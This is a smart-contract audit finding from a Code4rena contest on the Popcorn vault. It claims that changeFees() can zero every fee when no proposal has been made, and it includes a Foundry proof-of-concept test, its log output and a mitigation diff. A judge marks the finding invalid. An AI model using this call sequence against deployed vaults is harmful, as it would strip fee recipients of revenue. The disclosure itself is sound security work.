code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L545

Vulnerability details

Impact

then of wait that pass the time quitPeriod changeFees() can be call and set fees of 0 without proposed this is due that initially proposedFees = 0

this the marked with medium because although can be fix the time in fix represent loss of funds for feeRecipient taking into account the time to detect this manipulation plus the quitPeriod time

Proof of Concept

run in vaultController.t.sol

function test__changeVaultFees_fist_Time_without_propose() public {
        address[] memory targets = new address[](1);
        addTemplate("Adapter", templateId, adapterImpl, true, true);
        addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
        addTemplate("Vault", "V1", vaultImpl, true, true);

        /*
        vault deployed with value of fee

        fees: VaultFees({
                        deposit: 100,
                        withdrawal: 200,
                        management: 300,
                        performance: 400
                    }),
        */

        address vault = deployVault();
        targets[0] = vault;

        console.log("*******values of  fee initially******"); 
        console.log("deposit    :%d",IVault(vault).fees().deposit);
        console.log("withdrawal :%d  ",IVault(vault).fees().withdrawal);
        console.log("management :%d ",IVault(vault).fees().management);
        console.log("performance:%d  ",IVault(vault).fees().performance);
        console.log("  "); 

        vm.warp(block.timestamp + 3 days + 1);

        //change fee without propose fees 

        console.log("*******values after manipulated ******"); 

        controller.changeVaultFees(targets);

        console.log("deposit    :%d",IVault(vault).fees().deposit);
        console.log("withdrawal :%d  ",IVault(vault).fees().withdrawal);
        console.log("management :%d ",IVault(vault).fees().management);
        console.log("performance:%d  ",IVault(vault).fees().performance);
    }

the result

  Running 1 tests for test/vault/VaultController.t.sol:VaultControllerTest
  [PASS] test__changeVaultFees_fist_Time_without_propose() (gas: 2802669)
  Logs:
  *******values of  fee initially******
  deposit    : 100
  withdrawal : 200
  management : 300
  performance : 400

   *******values after manipulated ******
  deposit    : 0
  withdrawal : 0
  management : 0
  performance : 0

 Test result: ok. 1 passed; 0 failed; finished in 4.33s

Tools Used

VsCode

Recommended Mitigation Steps

can be add in changefees() and proposeFees a variable proposedbool;

+bool proposedbool;

function proposeFees(VaultFees calldata newFees) external onlyOwner {
    if (
        newFees.deposit >= 1e18 ||
        newFees.withdrawal >= 1e18 ||
        newFees.management >= 1e18 ||
        newFees.performance >= 1e18
    ) revert InvalidVaultFees();

    proposedFees = newFees;
    proposedFeeTime = block.timestamp;
   +proposedbool=true;

    emit NewFeesProposed(newFees, block.timestamp);
}

-

  function changeFees() external {
   +require(proposedbool);
    if (block.timestamp < proposedFeeTime + quitPeriod)
        revert NotPassedQuitPeriod(quitPeriod);

    emit ChangedFees(fees, proposedFees);
    fees = proposedFees;
   +proposedbool=false;
 }

c4-sponsor commented 1 year ago

RedVeil marked the issue as sponsor confirmed

c4-judge commented 1 year ago

dmvt marked the issue as unsatisfactory: Invalid

code-423n4 / 2023-01-popcorn-findings